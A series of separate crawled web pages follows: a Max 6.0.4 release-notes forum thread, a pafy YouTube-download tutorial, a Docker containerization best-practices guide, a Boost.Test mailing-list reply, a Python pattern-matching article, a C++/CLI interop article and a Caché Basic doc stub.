• plot~: editing domain labels in the editor does not trigger a re-paint
• poly~: decreased the CPU usage for non-dsp (and non-active DSP) patchers
• polybuffer~: fixed getshortname crash
• Projects: auto localize setting results in missing file entry
• reference: fixed Tutorial 1 missing text
• reference browser: removed mouseover popup in search results
• regexp: fixed substring crash
• saving: saving an abstraction (or poly~ patcher) as another file no longer causes other instances to reload
• saving: fixed open rect bpatcher save issue
• scale: fixed ref and scale vignette namespace collision
• scale/scale~: exponent base is no longer inverted in non-classic mode
• send~/receive~: mismatched pair no longer crashes Max when DSP is on
• sidebar: improved reference appearance at small sizes
• standalone: better default audio driver selection
• standalone: fixed java dependency issues
• standalone: fixed issues on Windows with javascript inclusion
• table: object box attrs now work properly
• vst~: window coordinate arguments work again with ‘open’ message
• watchpoints: improved positioning when watchpoint is below patcher when patcher is floating
me too :)
this update also fixed a bug for the latest version of lion right? I read that there was one so hadn’t update my OS yet just incase….
hello, [join] is still buggy.
I can still not scroll vertical in a patch with the mousewheel if i'm dragging an object or a selection-frame at the same time.
and is that intended, that since ver 6 i see very simplified scrollbar-design in patches? the strange thing is that i see normal system default scrollbars in the max docu. (see pic)
i can not change the scrollbar colors(because there is no way to set it). the scrollbar-background will always be white no matter if it fits to the patchdesign or not.. in max 5 the scrollbar-background adopted the bgcolor of the patcher.
Please, i don't want to start hacking my own scrollbars together, especially because apart from that they're working very well.
O.
[attachment=185584,3371]
Thanks for the note.
The join issue was never brought to our attention. I’ve ticketed it to be looked at.
The scrollbar issues you see is simply a limitation of scrollbars in Max at this time.
all the best,
-Ben
I’m working on a patch aswell and I would like to change this color aswell and making a custom scrollbar is a big pain.
"• audio: hot-swap devices without needing to restart Max"
does this mean that if my firewire audio interface gets unplugged on stage, i can reconnect it without restarting Max? Similar to how Logic and Mainstage behave? If so, that would be huge. Mac OS X 10.6.8, MOTU Ultralite…
sweet [good to see you over here too dtr :) ]
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https://cycling74.com/forums/topic/max-6-0-4-released/
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CC-MAIN-2015-11
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en
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refinedweb
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Download YouTube videos By Python in 5 lines !!!
Howdy, today we’ll create a program by python in 5 line can download YouTube videos, so let’s get started.
Pre-requisites
you'll need :
- python is installed, if you don’t install it visit this link
Let’s Begin
We’ll create two files,
video.py&
audio.py
video.py
This file will download your video with pictures & audio
audio.py
And This’ll download the video only with audio.
Open your favorite editor, and type
$ touch video.py audio.py
We’re going to install two packages
pafy &
youtube.dl
so in terminal
$ pip install pafy youtube.dl
Little remains, in
video.py we'll import
pafy
from pafy import new
new is a function download your video by add the URL on it, so create
url variable and it's well be input
url = input("Enter the url: ")
now create
video variable and it's value is
new function
video = new(url)
the video has different quality, we want the best quality, define new variable
dl = video.getbest()
dl.download()
you can test it
$ py video.py
now, go to
audio.py, it's like
video.py but has some differences
from pafy import new
url = input("Enter the link: ")
video = new(url)
let’s define
audio variable
audio = video.audiostreams
audio[0].download()
that’s it, you can now go to YouTube and download your favorite video/s.
good bye.
|
https://abdfn.medium.com/download-youtube-videos-by-python-in-5-lines-2967aef603a2
|
CC-MAIN-2021-43
|
en
|
refinedweb
|
\\\n## Introduction\n\nThis article describes containerization best practices throughout the full lifecycle of a containerized workload; with emphasis on **development** and **security.** We will look at:\n\n* Container images design guidelines\n* Development, debugging and testing\n* Security best practices\n* CI/CD pipelines\n* Operations and maintenance\n* \\\n\nYou will find it useful if you are a **software developer** starting your journey with developing in containers. Even a senior developer might pick up a few tricks here and there.\n\nThere is also something for **security professionals** as well as **automation engineers** or **SREs (Ops).**\n\n> A little disclaimer, if your title is DevOps Engineer, please don’t feel left out. You will surely benefit from the content of this article. It’s just that DevOps is not a title neither a role nor a team, but rather a philosophy and culture. Unfortunatelly in most companies, DevOps really means automation engineering and soft-ops (mostly configuring and dealing with Kubernetes and other complex software). So if you read somewhere “automation engineer”, that means a DevOps engineer.\n\nThis document intends to serve as a framework and guide for developing and operationalizing containerized software. This article is about containers only, if you are interested in containers orchestration, check out my two previous blogs, [orchestrating containers with Kubernetes]() and [developing on Kubernetes]().\n\nThere is a lot of ground to cover, so let’s get started!\n\n## Basic definitions and concepts\n\n> Container\n\nA container is the runtime instantiation of a Container Image. A container is a standard Linux process often isolated further through the use of cgroups and namespaces.\n\n> Container Image\n\nA container image, in its simplest definition, is a file that is pulled down from a Registry Server and used locally as a mount point when starting Containers.\n\n> Container Host\n\nThe container host is the system that runs the containerized processes, often simply called containers.\n\n> Container Engine\n\nA container engine is a piece of software that accepts user requests, including command-line options, pulls images, and from the end user’s perspective runs the container. There are many container engines, including docker, RKT, CRI-O, and LXD.\n\n> Images Registry\n\nA registry server is essentially a fancy file server that is used to store docker repositories. Typically, the registry server is specified as a normal DNS name and optionally a port number to connect to\n\n## Overview\n\nThis documentation assumes basic knowledge of Docker and Docker CLI. To learn or refresh on container-related concepts, please refer to the official documentation:\n\n* [Docker Docs]()\n* [Mirantis Docs]() (FYI *[Mirantis acquired Docker Enterprise in November 2019]())*\n\n \\\n\nPlease note that since most development activities will start on “docker stack” (docker CLI, docker CE, docker desktop, etc), most of the time we will refer to docker tooling. There are a lot of alternatives to every mentioned component. For example podman, buildah, buildpacks and many other technologies that are not coming from Docker the company.\n\n\\\nThe same goes for containers OS, some windows containers are outside of the scope of this article.\n\n## Docker Architecture Recap\n\nFor detailed information about docker architecture, please refer to Docker or Mirantis documentation. Here is a handy diagram explaining high-level docker architecture and its components.\n\n \n\n*Sources*:\n\n* [dockerd]()\n* [containerd]()\n* [runc]()\n* [libcontainer]()\n* [containerd-shim]()\n\n## Container Lifecycle\n\nWhen you start developing containerized workloads, there are a lot of similarities with developing regular software, but also a few key differences. The below diagram provides a simplified view of various stages of containerized workload lifecycle.\n\n \n\n## Docker CLI Syntax\n\nDocker CLI has the following syntax:\n\nSyntax: `docker <docker-object> <sub-command> <-options> <arguments/commands>`\n\n**Example**: `docker container run -it ubuntu`\n\n## Container Layers\n\nBy default, all docker image layers are immutable (read-only). When a container is created using `docker run` command, an additional mutable (read-write) layer is created. **This layer is only there for the duration of the container lifetime and will be removed once the container exits**. When modifying any files in a running container, docker creates a copy of the file and moves it to the container layer (COPY-ON-WRITE) before changes are saved. Original files as part of the image are never changed.\n\n## Access remote Docker host from CLI\n\nOn machine form where you want to access docker host, setup variable:\n\nexport DOCKER_HOST="tcp://<docker-host-ip>:2375"\n\n> *Docker default ports:*\n>\n> 2375 — unencrypted traffic\n>\n> 2376 — encrypted traffic.\n>\n> ***IMPORTANT***\\*: This setting is only for testing/playground purposes. It will make docker host available on the network and by default there is no authentication.\\*\n\n## Use docker CLI as a non-root user\n\n1. Create Docker group: `sudo groupadd docker`\n2. Create a non-root user you want to use with docker: `sudo useradd -G docker <user-name>`\n3. Change this user primary group: `sudo usermod -aG docker <non-root user>`\n4. Log off and log in with the docker user.\n5. Optional — restart docker service: `sudo systemctl restart docker`\n\nIt is highly recommended to use VS Code with a Docker plugin for developing with containers.\n\n> *[here]()* *is a good write up about hot to setup and use Docker extension with VS Code*\n>\n> *[Read best practices for building Dockerfiles]()*\n\n## Quickly create Dockerfile stub\n\nIf you are using VS Code with a Docker extension, you can quickly create a *Dockerfile* stub for your project.\n\n* open folder with your project in VS Code\n* go to command palette Ctrl+Shift+P and type `Docker: Add Docker Files to Workspace`\n* select your language from the dropdown box and answer a few questions\n* your Dockerfile will be generated in the directory you are currently in\n* make sure to tweak the file, but the templates are pretty good already\n\n## How to debug image building process\n\nTo build an image you can use a docker CLI `docker build --progress=plain -t imagename:tag -f Dockerfile .` or use VS Code Docker extension to do the same\n\n> *the* `_--progress=plain_` *flag creates verbose output to stdout and is enabled by default when using Docker extension.*\n\n When creating a *Dockerfile*, each new command such as RUN, ADD, COPY etc creates a new intermediate container that you can exec into and debug.\n\n> *The debugging steps differ if docker host supports new build mechanism with* `_buildkit_` *(from version 1.18 onwards) or old build mechanism with docker build. Buildkit debugging is relativelly complex, so it is easier to drop to the docker build way using* `_DOCKER_BUILDKIT=0_` *before running docker build command. This setting will temporary switch build to legacy one.*\n\n## Steps to debug Dockefile build process using legacy build\n\n* clone test repository or create a new one with Dockerfile that contains an error you want to debug\n* run legacy build command `DOCKER_BUILDKIT=0 docker build --rm=false -t wrongimage -f Dockerfile.bad .`\n* this Dockefile produces an error, the folder is missing\n\n\\\n\\\nStep 17/19 : WORKDIR /app ---> Running in 21b793c569f4 ---> 0d5d0c9d52a3Step 18/19 : COPY --from=publish /app/publish1 .COPY failed: stat app/publish1: file does not exist\n\n* note that right above the error there is a message with an intermediate image ID of 0d5d0c9d52a3\n* since we used flag `--rm=false` intermediate images are not removed and we can list them using `docker image ls`\n* let’s start a new container from this image in an interactive mode `docker run -it 0d5d0c9d52a3 sh`\n* inside the container, we can see that the required folder is not created\n\n## How to debug applications running in containers\n\nApplications running in containers can be directly debugged from an IDE when a `launch.json` the file is present and contains instructions on how to launch and debug a docker container.\n\n> *it is strongly recommended to use* *[VS Code with a Docker extension]()* *to easily add* *[Dockerfile and debugging settings to the project]().*\n\n* [Click here]() to see an already setup sample [ASP.NET]() Core WebAPI project\n* Clone the project\n* `cd` into project directory\n* `code .` to open VS Code\n* select `docker: initialize for debugging` and follow the wizard\n* switch to `Run and Debug` view Ctrl+Shift+D\n* Select `Docker .NET Launch`\n* set breakpoint in the controller\n\n \n\n## Use Multistage builds\n\nIn a multi-stage build, you create an intermediate container — or stage — with all the required tools to compile or produce your final artefacts (i.e., the final executable). Then, you copy only the resulting artefacts to the final image, without additional development dependencies, temporary build files, etc.\n\nA well crafted multistage build includes only the minimal required binaries and dependencies in the final image and does not build tools or intermediate files. This reduces the attack surface, decreasing vulnerabilities.\n\nIt is safer, and it also reduces image size.\n\nConsider below Dockerfile building a go API. The use of multistage build is explained in file comments. Try it yourself!\n\n## Use Distroless images\n\nUse the minimal required base container to follow Dockerfile best practices.\n\nIdeally, we would create containers from scratch, but only binaries that are 100% static will work.\n\n[Distroless]() are a nice alternative. These are designed to contain only the minimal set of libraries required to run Go, Python, or other frameworks.\n\n## Use docker-slim to ensure that your image is as lean as possible\n\nContainer images should be small and contain only components/packages necessary for the containerized workload to work correctly. This is important for two main reasons:\n\n* security: making images smaller by removing unnecessary packages greatly reduces attack surface\n* performance: smaller images start much faster\n\n> *[docker-slim]()* *comes with many options. It supports slimming down images, scanning Dockerfiles etc. The best way to start with it is to follow steps in* *[demo setup]().*\n\n## Confidential information and secrets\n\nUse `.dockerignore` to exclude unnecessary files from building in the container. They might contain confidential information.\n\nDocker uses [biuildkit]() by default for building images. One of buildkit features is the ability to mount secrets into docker images using `RUN --mount=type=secret`. This is for the scenario where you need to use secrets during the image build process, for example pulling credentials from git etc.\n\nHere is an example of how to retrieve and use a secret:\n\n* create a secret file or environmental variable: `export SUPERSECRET=secret`\n* inside a Dockerfile add `RUN --mount=type=secret,id=supersecret`, this will make the secret available inside the image under `/run/secrets/supersecret`\n* build the image with your secret like so:\n\nexport DOCKER_BUILDKIT=1docker build --secret id=supersecret,env=SUPERSECRET .\n\nthis will safely add from the environmental variable SUPERSECRET into the container. Examining image history or decomposing layers will not reveal the secret.\n\n## Use multiple Dockerfiles\n\nConsider creating separate Dockerfiles for different purposes. For example, you can have a dedicated docker file with testing and scanning tooling preinstalled and run it during the local development phase.\n\n> *Remeber, you can build imaged from different docker files by passing* `_-f_` *flag, for example*\n\n*docker build -t -f Dockerfile.test my-docker-image:v1.0 .*\n\n## Use docker-compose to spin up multiple containers\n\n[Docker-compose specification]() is a developer-focused standard for defining cloud and platform-agnostic container-based applications. Instead of running containers directly from a command line using `docker CLI` consider creating a `docker-compose.yaml` describing all the containers that comprise your application.\n\n> *Please note that applications described with docker compose specification is fully portable, so you can run it locally or in Azure Container Instances*\n\n## Use Kompose to convert docker-compose files to Kubernetes manifests\n\nIf you already have a docker-compose file and need a kick-start with generating Kubernetes YAML files, use kompose.\n\n`kompose`allows for quick conversion from `docker-compose.yaml` file to native Kubernetes manifest files.\n\n> *You can download Kompose binaries from* *[the home page]()*\n\n## Use composerize to quickly create docker-compose files from docker run commands\n\nDocker run commands can quickly represent the imperative style of interacting with containers. Docker-compose file on the other hand is a proffered, declarative style.\n\n[Composerize]() is a neat little tool that can quickly turn a lengthy `docker run` command into a `docker-compose.yaml` file.\n\n> *composerize can generate docker-compose files either from CLI or a* *[web based interface]().*\n\nHere is an example of converting a docker run command from one of my images:\n\n \n\n## Control resources utilization by a container\n\n**CPU**\n\nDefault CPU share per container is 1024\n\n**Option 1:** If the host has multiple CPUs, it is possible to assign each container a specific CPU.\n\n**Option 2:** If the host has multiple CPUs, it is possible to restrict how many CPUs can be given container use.\n\nIt’s worth noting that container orchestrators (like Kubernetes) provide declarative methods to restrict resources usage per run-time unit (pod in the case of Kubernetes).\n\n**Memory**\n\n**Option 1:** Run container with`--memory=limit` flag to restrict the use of memory. If a container tries to consume more memory than its limit, the system will kill it exiting the process with Out Of Memory Exception (OOM). By default container will be allowed to consume the same amount of SWAP space as the memory limit, effectively doubling the memory limit. Providing of course that SWAP space is not disabled on the host.\n\n## Map only ports you want to open\n\nPorts mapping always goes from HOST to CONTAINER, so `-p 8080:80` would be a mapping of port 8080 on the host to port 80 on the container.\n\n> *Hint: Prefer using “-p” option with static port when running containers in production.*\n\n## Use trivy to scan for image vulnerabilities\n\nWhen using open-source images, it is critical to scan for security vulnerabilities. Fortunately, there are a lot of commercial as well as open-source tools to help with this task.\n\n> [trivy from Aquasecurity]()\n\nUsing trivy is trivial ;) `trivy image nginx` reveals a list of vulnerabilities with links to CVEs\n\n \n\nAdditionally, to scanning images, trivy can also search for misconfigurations and vulnerabilities in Dockerfiles and other configurations.\n\nHere is a result of trivy scan over a sample project:\n\n \n\n## Use linters on a Dockerfile\n\nAs part of your development process, ensure good linting rules for your Dockerfiles.\n\nA good example is a simple tool called [FROM:Latest]() developed by Replicated.\n\nBelow is a screenshot of the tool with recommendations:\n\n \n\n> *Consider installing linting plugins to your editor of choice as well as run linting as part of your CI process.*\n\n## Use dive to inspect images\n\nDocker and similar tools provide an option for inspecting an image.\n\n`docker inspect [image name] --format` - this command will display information about the image in JSON format.\n\n> *You can pipe the output of the command to* `_jq_` *and query the result. For example, if you have and nginx image, you could easily query for environment variables like so* `_docker inspect nginx | jq '.[].ContainerConfig.Env[]'_`\n\nThis information however is rather rudimentary. To inspect the image even deeper, use [dive]()\n\n \n\nFollow the installation instructions for your system. Dive shows details of image content and commands used to create layers.\n\n## Decomposing an image\n\nIf you cannot install tools like dive, it is possible to decompose a container image using this simple method.\n\nContainer images are just [tar files]() containing other files as layers.\n\nHere is how to extract and save an Nginx image and inspect its content:\n\ndocker save nginx > nginx_image.tar mkdir nginx_image cd nginx_image tar -xvf ../nginx_image.tar tree -C\n\nEach layer corresponds to command in Dockerfile. Extracting a `layer.tar` file will reveal the files and settings of this layer.\n\n \n\n## Consider signing and verifying images\n\nSupply chain attacks have recently increased in frequency. Trusted and verifiable source code and traceable [software bill of materials]() are critical to the security and integrity of the whole ecosystem.\n\nYou can sign your images using tools from the [SigStore project]()\n\n> *Sigstore is part of* *[Linux Foundation]()* *and defines itself as “A new standard for signing, verifying and protecting software”.*\n\nThere are many tools under SigStore’s umbrella, but we are interested in [Cosign](). Follow the installation steps from the Cosign repo.\n\nHere is how to sign your image and push it to the Docker hub:\n\ncosign generate-key-pair #this will generate 2 files, one with private and one with public key cosign sign -key cosign.key <dockeruser/image:tag>\n\nShipping containerized software has become easier and more streamlined due to standardized packaging (image) and runtime (container). CI/CD and systems automation tooling benefits from this greatly.\n\nNowadays pipelines follow the **“X-As Code”** movement and are expressed as YAML files and hosted alongside source code files in a git repository.\n\nThe exact syntax of those YAML files will vary from provider to provider. Azure DevOps, GitHub, GitLab, etc will have their variations.\n\nNevertheless, there are a few key components. Here is a sample YAML pipeline file for Azure DevOps with the most important definitions:\n\n* **Resources**: additional resources that pipeline needs to function. Can be other pipelines, image repositories, etc\n* **Trigger**: How the pipeline is triggered, can be only for a specific branch, pull request and more\n* **Paths**: for the trigger branch/PR what is the path where the source code is to work with\n* **Variables**: For convenience, most pipeline runners will provide a way to inject variables into a pipeline\n* **Pool**: VM or container running the pipeline jobs\n* **Stages**: Sequential stages of the pipeline, stages are logical grouping of jobs\n* **Jobs**: Another grouping level inside of stage\n* **Task**: actual activity carried out on the artefacts/source code\n\nThere is much more to CI/CD pipelines in general, the emphasis here is on actually incorporating a pipeline from the start with your project.\n\n## Build images using Kaniko or Buildah\n\nTo increase security consider building images in pipelines using [Kaniko]() or [Buildah]() instead of Docker.\n\nBoth tools do not depend on a Docker daemon and execute each command within a Dockerfile completely in userspace. This enables building container images in environments that can’t easily or securely run a Docker daemon, such as a standard Kubernetes cluster. Whereas Kaniko is more oriented towards building images in Kubernetes cluster, Buildah works well with only docker images.\n\n## Implement image scanning in the build process\n\nImage scanning refers to the process of analyzing the contents and the build process of a container image in order to detect security issues, vulnerabilities or bad practices.\n\n> *Recommendation: there are three major image scanning tools currently available:* **Snyk,** Sysdig and Aqua. My recommendation is to use Snyk, for more detailed comparison check out [this blog]()\n\nFollow those best practices when integrating image scanning with your CI/CD pipelines:\n\n1. Scan images from the build pipeline (CI)\n2. Scan images in repositories, before containers, are created out of them (CI)\n3. Scan running containers (CD)\n4. Always pin image version explicitly (DO NOT use “latest” or “staging” tags)\n\n> *For detailed explanation on how to integrate image scanning using Synk with Azure Pipelines for example, please* *[refer to Snyk documentation]()*\n\nNowadays operations on raw containers (without orchestrator) are happening mostly for simpler workloads or in non-production environments. Exception from this is IoT or edge devices but even there Kubernetes rapidly takes over.\n\n## Installation\n\nInstalling docker engine on a Linux distro is pretty straightforward. Please follow the [installation steps]() from Docker documentation.\n\n\\\nInstalling docker engine on Windows Server is a bit more difficult, follow [this tutorial]() to install and configure all prerequisites.\n\n> *By default only windows containers will run on Windows Server. Linux containers must be additionally switched on (part of the documentation above)*\n\nOnce the docker host is installed you can use [Portainer]() to interact with the monitor and troubleshoot.\n\n\\\nChoose the [installation option]() depending on the environment you are in.\n\n \n\n*Sample Portainer dashboard*\n\n> *Once installed, docker creates a folder under* `_/var/lib/docker/_` *where all the containers, images, volumes and configurations are stored. Kubernetes and Docker Swarm store cluster state and related information in* *[etcd](). etcd by default listens on port* `_2380_` *for client connections.*\n\n## Use watchtower to update images\n\nSince docker host does not provide automated images update, you can use [Watchtower]() to update images automatically when they are pushed to your image registry.\n\n\\\n`docker run -d \\--name watchtower \\-e REPO_USER=username \\-e REPO_PASS=password \\-v /var/run/docker.sock:/var/run/docker.sock \\containrrr/watchtower container_to_watch --debug`\n\n## Summary\n\nDeveloping containerized workloads nowadays is a primary mode of server-side software development. Whether you are working on a web app, API, batch job or service, chances are that at some point you will add “Dockerfile” to your project.\n\n\\\nWhen this happens, hopefully, you’ve bookmarked this article and will find here inspiration and guidance to do things right from the start.\n\n\\\n\\\n
|
https://hackernoon.com/the-containerized-software-development-guide
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CC-MAIN-2021-43
|
en
|
refinedweb
|
Subject: Re: [boost] [multiprecision] Are these types suitable as numerictypes for unit tests?
From: Gennadiy Rozental (rogeeff_at_[hidden])
Date: 2013-06-11 02:29:50
Richard <legalize+jeeves <at> mail.xmission.com> writes:
> >The names "enable_if" and "disable_if" are ambiguous
> >because they are present in the namespace "boost"
> >as well as in "boost::unit_test::decorator". In addition,
> >there is symbol-injection via a using directive in
> >Boost.Test which, although needed by Boost.Test,
> >seems to cause the ambiguity.
I believe these were removed. Where do you see these?
> I couldn't find any code in Boost.Test that uses the decorators
> enable_if and disable_if.
>
> They are undocumented anywhere, so I find it unlikely that any clients
> of Boost.Test are depending on them from the outside.
>
> They look like dead code to me.
They are not dead. They are brand new features I am in progress of
documenting.
Gennadiy
Boost list run by bdawes at acm.org, gregod at cs.rpi.edu, cpdaniel at pacbell.net, john at johnmaddock.co.uk
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https://lists.boost.org/Archives/boost/2013/06/204551.php
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CC-MAIN-2021-43
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en
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refinedweb
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Python, for all its power and popularity, has long lacked a form of flow control found in other languages—a way to take a value and match it elegantly against one of a number of possible conditions. In C and C++, it’s the
switch/case construction; in Rust, it’s called “pattern matching.”
The traditional ways to do this in Python aren’t elegant. One is to write an
if/elif/else chain of expressions. The other is to store values to match as keys in a dictionary, then use the values to take an action—e.g., store a function as a value and use the key or some other variable as input. In many cases this works well, but can be cumbersome to construct and maintain.
After many proposals to add a
switch/case-like syntax to Python failed, a recent proposal by Python language creator Guido van Rossum and a number of other contributors has been accepted for Python 3.10: structural pattern matching. Structural pattern matching not only makes it possible to perform simple
switch/case style matches, but also supports a broader range of use cases.
Introducing Python structural pattern matching
Structural pattern matching introduces the
match/case statement and the pattern syntax to Python. The
match/case statement follows the same basic outline as
switch/case. It takes an object, tests the object against one or more match patterns, and takes an action if it finds a match.
match command: case "quit": quit() case "reset": reset() case unknown_command: print (f"Unknown command '{unknown_command}')
Each
case statement is followed by a pattern to match against. In the above example we’re using simple strings as our match targets, but more complex matches are possible.
Python performs matches by going through the list of cases from top to bottom. On the first match, Python executes the statements in the corresponding
case block, then skips to the end of the
match block and continues with the rest of the program. There is no “fall-through” between cases, but it’s possible to design your logic to handle multiple possible cases in a single
case block. (More on this later.)
It’s also possible to capture all or part of a match and re-use it. In the
case unknown_command in our example above, the value is “captured” in the variable
unknown_command so we can re-use it.
Matching against variables with Python structural pattern matching
An important note is worth bringing up here. If you list variable names in a
case statement, that doesn’t mean a match should be made against the contents of the named variable. Variables in a
case are used to capture the value that is being matched.
If you want to match against the contents of a variable, that variable must be expressed as a dotted name, like an enum. Here’s an example:
from enum import Enum class Command(Enum): QUIT = 0 RESET = 1 match command: case Command.QUIT: quit() case Command.RESET: reset()
One doesn’t have to use an enum; any dotted-property name will do. That said, enums tend to be the most familiar and idiomatic way to do this in Python.
Matching against multiple elements with Python structural pattern matching
The key to working most effectively with pattern matching is not just to use it as a substitute for a dictionary lookup. It’s to describe the structure of what you want to match. This way, you can perform matches based on the number of elements you’re matching against, or their combination.
Here’s a slightly more complex example. Here, the user types in a command, optionally followed by a filename.
command = input() match command.split(): case ["quit"]: quit() case ["load", filename]: load_from(filename) case ["save", filename]: save_to(filename) case _: print (f"Command '{command}' not understood")
Let’s examine these cases in order:
case ["quit"]:tests if what we’re
matching against is a list with just the item
"quit", derived from splitting the input.
case ["load", filename]:tests if the first split element is the string
"load", and if there’s a second string that follows. If so, we store the second string in the variable
filenameand use it for further work. Same for
case ["save", filename]:.
case _:is a wildcard match. It matches if no other match has been made up to this point. Note that the underscore variable,
_, doesn’t actually bind to anything; the name
_is used as a signal to the
matchcommand that the case in question is a wildcard. (That’s why we refer to the variable
commandin the body of the
caseblock; nothing has been captured.)
Patterns in Python structural pattern matching
Patterns can be simple values, or they can contain more complex matching logic. Some examples:
case "a": Match against the single value
"a".
case ["a","b"]: Match against the collection
["a","b"].
case ["a", value1]: Match against a collection with two values, and place the second value in the capture variable
value1.
case ["a", *values]: Match against a collection with at least one value. The other values, if any, are stored in
values. Note that you can include only one starred item per collection (as it would be with star arguments in a Python function).
case ("a"|"b"|"c"): The
oroperator (
|) can be used to allow multiple cases to be handled in a single
caseblock. Here, we match against either
"a",
"b", or
"c".
case ("a"|"b"|"c") as letter: Same as above, except we now place the matched item into the variable
letter.
case ["a", value] if <expression>: Matches the capture only if
expressionis true. Capture variables can be used in the expression. For instance, if we used
if value in valid_values, the
casewould only be valid if the captured value
valuewas in fact in the collection
valid_values.
case ["z", _]: Any collection of items that begins with
"z"will match.
Matching against objects with Python structural pattern matching
The most advanced feature of Python’s structural pattern matching system is the ability to match against objects with specific properties. Consider an application where we’re working with an object named
media_object, which we want to convert into a
.jpg file and return from the function.
match media_object: case Image(type="jpg"): # Return as-is return media_object case Image(type="png") | Image(type="gif"): return render_as(media_object, "jpg") case Video(): raise ValueError("Can't extract frames from video yet") case other_type: raise Exception(f"Media type {media_object} can't be handled yet")
In each case above, we’re looking for a specific kind of object, sometimes with specific attributes. The first case matches against an
Image object with the
type attribute set to
"jpg". The second case matches if
type is
"png" or
"gif". The third case matches any object of type
Video, no matter its attributes. And the final case is our catch-all if everything else fails.
You can also perform captures with object matches:
match media_object: case Image(type=media_type): print (f"Image of type {media_type}")
Using Python structural pattern matching effectively
The key with Python structural pattern matching is to write matches that cover the structural cases you’re trying to match against. Simple tests against constants are fine, but if that’s all you’re doing, then a simple dictionary lookup might be a better option. The real value of structural pattern matching is being able to make matches against a pattern of objects, not just one particular object or even a selection of them.
Another important thing to bear in mind is the order of the matches. Which matches you test for first will have an impact on the efficiency and accuracy of your matching overall. Most folks who have built lengthy
if/elif/else chains will realize this, but pattern matching requires you to think about order even more carefully, due to the potential complexity. Place your most specific matches first, and the most general matches last.
Finally, if you have a problem that could be solved with a simple
if/elif/else chain, or a dictionary lookup — use that instead! Pattern matching is powerful, but not universal. Use it when it makes the most sense for a problem.
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https://www.infoworld.com/article/3609208/how-to-use-structural-pattern-matching-in-python.html
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CC-MAIN-2021-43
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en
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refinedweb
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This article will help get you started consuming native code with C# by writing your own interop layer in C++/CLI as a much cleaner and more flexible alternative to using PInvoke.
Recently I have been working on a project where we have a few separate native libraries (built in C++) that we have to consume from a managed (C #) architecture. I haven't been swimming in the C++ pool for a few years and have taken a dive in this weekend and spent time refamiliarizing myself with C++ and creating a few examples of consuming native libraries without using PInvoke. Fortunately we are writing code for an appliance so we have knowledge and control over the hardware we are deploying on. I'll include a few sample projects to get you started consuming either a native static library (*.lib) or a native dynamic library (*.dll) .
There are a couple different ways to approach native to managed interop. One of them is to just PInvoke directly into a native *.dll from C#. While this would work it feels a bit brutish to me and has some performance issues. The exposed API that I need to consume is much more complex than the consuming app needs and I'll be writing a Facade to consume the native functionality whichever route is taken. Repeatedly marshalling the entire surface area of classes in the native API seems like a huge hit to take for the small slice of functionality that I'll actually be consuming and performance is something we have to take into consideration for this project.
This is a perfect case for building the Facade directly into the interop layer in C++/CLI and compiling in mixed mode for consumption by C#. Building the Facade in C++/CLI gives us more granular control over the calls made across the boundary which is called a "thunk" and is pretty expensive. Generally speaking, getting "thunked" on the head by a native can be painful experience and should be avoided as much as possible. By putting the logic of the Facade in native code helps in architecting a solution where we can keep the majority of logic on the "dark side" (native) and only marshal a minimal set of calls across the boundary back to the managed side. This optimization is not really possible with the PInvoke approach.
PInvoke - requires marshaling a larger surface area than we need to consume across the native to managed boundary.
In the interop layer, all of the implementation in the Facade would be on the Managed side and we would have to marshal coarse calls across to the native side more often.
versus
C++/CLI facade - enables tighter control over what passes across the native to managed boundary.
In the interop layer, most of the implementation of the Facade would be on the native side and we have the opportunity to build the interface in a way to reduce the number of times we have to marshal across the boundary and can make the calls more granular.
Scenario I. Native as a static library (.lib) on 64 bit machine.
I'll go over an over-simplified sample so you can take the solution appearing with this article as a template for working on your projects or just to poke around and learn how to build this kind of solution. The details of designing the Facade is a subject for a whole article in itself and not something I'll really dig into. The important thing is getting set up to experiment with the interop layers.
Let's say we have a static native library (.lib) in C++ with the following header:
namespace Native{ class IntGetter { public: IntGetter(void); ~IntGetter(void); int GetInt(); };}
Because we are dealing with a static library, it will be pulled into our Facade layer so when we compile we'll just end up with one *.dll for the C# project to consume.
Here is a sample layer that will marshal our native C++ "int" to a CLR System.Int32 type. Because the type is bittable, the transition across the boundary is relatively simple and we can have native and CLR constructs in the same C++ class. This sample is ultra-simple and keep in mind that more complex types will require a bit more work to push over the boundary but that is a larger topic and there are many books and articles written on the subject of marshaling types across the native to managed boundary.
namespace Facade{ public ref class Getter { public : System::Int32 GetInt() { Native::IntGetter * getter = new Native::IntGetter(); return getter->GetInt(); delete getter; } };}
Finally, in C# we want to be able to consume the library.
class Program{ static void Main(string[] args) { Facade.Getter obj = new Facade.Getter(); Console.WriteLine(obj.GetInt()); }}
In order to make all of this work there are a couple things to keep in mind. If the target machine platforms do no line up for each project, we will get a runtime exception:
System.BadImageFormatException was unhandled
Message="Could not load file or assembly '[***]' or one of its dependencies. An attempt was made to load a program with an incorrect format."
To solve this we need to make sure the target machine platform in our Facade layer is lined up with the target machine in our managed project
C++ project settings
C# project settings
The Facade interop layer can now be compiled with the /clr setting which produces a mixed-mode assembly containing both native and managed code.
C++ project setting
This mixed mode *.dll can be consumed from our C# code just by adding a project reference.
The project attached to this article StaticLib.zip will give you a starting point for experimenting with consuming static libraries with C# and will hopefully help you start "thunking" a bit more efficiently.
Scenario II. Consuming a native dynamic library (*.dll) with C#.
The code for these two approaches are almost identical. The additional problem we'll face with consuming a dynamic library is that the code in the native *.dll won't be rolled into the Facade layer and we have to explicitly keep track of the dynamic library file. If the *.dll is unavailable, we will get a runtime exception.
System.IO.FileNotFoundException was unhandled
Message="The specified module could not be found. (Exception from HRESULT: 0x8007007E)"
There are many ways to fix this. For this sample, as part of the C# build process, we will copy over the *.dll as a pre-build step.
copy "$(SolutionDir)$(ConfigurationName)\Native.dll" "$(TargetDir)Native.dll"
Another possible alternative would be to set the output directory of the *.dll during its build process. The 'best' solution would really depend on how the projects are set up in your environment.
Again, we have the requirement we saw in the static library example where the C# platform target must be the same as what the C++ target was compiled for or we'll get a runtime exception.
The solution attached to this article DynamicLib.zip has the source for you to start experimenting with loading a dynamic native *.dll and consuming the functionality with C#.
I hope you find this article and the sample solutions useful.
Until next time,Happy coding
References:
· Intro to C++/CLI:
· PInvoke tutorial:
· Performance consideration for interop:
· Improving interop performance:
B
View All
View All
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https://www.c-sharpcorner.com/UploadFile/rmcochran/interop-without-pinvoke-consuming-native-libraries-in-C-Sharp/
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CC-MAIN-2021-43
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en
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refinedweb
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Basic
Write routines and methods in an implementation of Basic.
Background Information
Basic is a commonly used programming language.
Available Tools
Cache Basic
Enables you to write programs in an implementation of Basic, within the Caché environment. See Using Caché Basic and Caché Basic Reference.
For information on the relationship of Caché Basic and the rest of Caché, see the Caché Programming Orientation Guide.
